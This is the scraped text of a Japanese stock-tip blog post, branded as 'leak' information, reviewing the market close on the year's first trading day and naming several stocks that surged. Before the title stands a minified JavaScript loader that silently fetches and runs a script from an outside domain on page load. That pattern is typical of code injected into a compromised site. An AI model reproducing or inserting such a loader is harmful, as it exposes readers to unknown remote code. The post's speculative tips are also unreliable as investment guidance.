;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【1/4 大発会 大引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【1/4 大発会 大引け】

大発会前場の日経平均株価は479円高と大幅反発。米株高や為替の円安進行を背景に堅調に推移。主力から中小型株、幅広い銘柄に買いが入りほぼ全面高商状。節目の1万9500円台を回復した。

個別では、米司法省と和解協議の【7312】タカタが3日連続のストップ高。完全自動運転車を試作の【6723】ルネサスエレクトロニクスが急伸。また、以前ルネサスエレクトロニクスと自動車用Ethernet AVB通信を実現するためのソフトウエアを共同開発したと発表したことのある【4770】図研エルミックがルネサスエレクトロニクスの上昇からの思惑でストップ高まで買われた。

その他、中小型株循環物色の流れから【6721】ウインテスト、【7946】光陽社、【3686】ディーエルイーなどに資金が流入し、上昇が目立ったほか、国土交通省は2017年度から道路などに立つ電柱をなくす「無電柱化」を進めるため、PFIの手法を取り入れるとの報道から【5287】イトーヨーギョーなどの電線地中化関連の一角が急伸。小池都知事が携帯電話の回収に注力する意向と伝わると、ネットリサイクル事業で展開する直近IPO【3556】リネットジャパンがストップ高まで買われた。

去年の年初安から警戒された大発会だったが幸先良い大幅反発スタート。全面高商状のほぼ高値引け、節目の1万9500円乗せとまずは下値としてこのポイントが意識されるか注目。今日の流れからして明日も堅調な展開を期待、物色は本日賑わったAI関連、値上りにあがった中小型株は引き続き注目。

個人的には特に引け前に一気にストップ高まで上昇した【3556】リネットジャパン。明日の上場時の高値抜けに期待している。